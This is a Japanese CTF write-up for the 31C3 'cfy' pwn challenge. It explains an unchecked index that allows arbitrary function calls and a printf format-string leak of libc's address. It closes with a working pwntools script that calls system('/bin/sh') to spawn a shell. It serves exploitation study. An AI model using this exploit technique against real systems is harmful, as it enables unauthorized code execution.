更新日時で差をつけろ

むしろ差をつけられている

31C3 CTF 「cfy」

pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...

概要

動かすと、0)~3)のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointerはよくわからなかった。

入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0にはPlease enter your number:での入力が入っていて、call raxの際の第一引数になる)

shl rax, 4                              
add rax, obj.parsers                    
mov rax, qword [rax]                    
mov edi, obj.buf  
call rax

だが、ここでは入力チェックが欠けていて、-2とか100などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3だと48バイト前に書かれているアドレスをcallする。
obj.parsers周辺を見てみると、printfobj.bufもcallできることがわかる。

0x00601000  280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域
0x00601010  0000 0000 0000 0000 d605 4000 0000 0000                                                                           
0x00601020  e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !?                                                                
0x00601030  0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets                                                            
0x00601040  2606 4000 0000 0000 3606 4000 0000 0000                                                                           
0x00601050  4606 4000 0000 0000 0000 0000 0000 0000                                                        
0x00601060  0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域
0x00601070  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601080  3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d                                                                    
0x00601090  6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761                                                      
0x006010a0  8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785                                               
0x006010b0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010c0  0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域
0x006010d0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010e0  0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !?                                               
0x006010f0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601100  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601110  0000 0000 0000 0000 0000 0000 0000 0000   

printfでリークができないか試してみる。上より、-6を入れてやればcallできた。

$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
-6
 
Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 
dec: 333
hex: 0x14d

9番目の%pで出力されている0x7f31657be1c1main関数のリターンアドレスで、__libc_start_mainにリターンする。
vmmapでlibcのベースアドレスは0x7ffff79f5000となったので、オフセットは0x211c1

$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000'
0x211c1

libcのベースアドレスがわかるので、system(オフセットは0x47dc0)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.bufに書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.bufの領域にsystemのアドレスを書き込んだあと、2回目で/bin/shを引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.bufに書き込んでも2回目で/bin/shという7byte分は上書きされるということ。なので、systemのアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。

Exploit

from pwn import *
 
c = remote('localhost', 62000)
 
libc_start_main_offset = 0x211c1
system_offset = 0x47dc0
 
# leak libc's address
c.recv(1024) 
c.send("-6\n")
c.recv(1024)
c.send("%9$lx\n")
 
libc_base = int(c.recv(12), 16) - libc_start_main_offset
log.info(hex(libc_base))
system_addr = libc_base + system_offset
 
# write system's address
c.recv(1024)
c.send("1\n")
 
payload  = p64(0)
payload += p64(0) # padding for string '/bin/sh'
payload += p64(system_addr)
payload += "\n"
 
c.recv(1024)
c.send(payload)
 
# pass '/bin/sh' & call system
c.recv(1024)
c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10
c.recv(1024)
c.send("/bin/sh\n")
 
time.sleep(0.3)
c.interactive()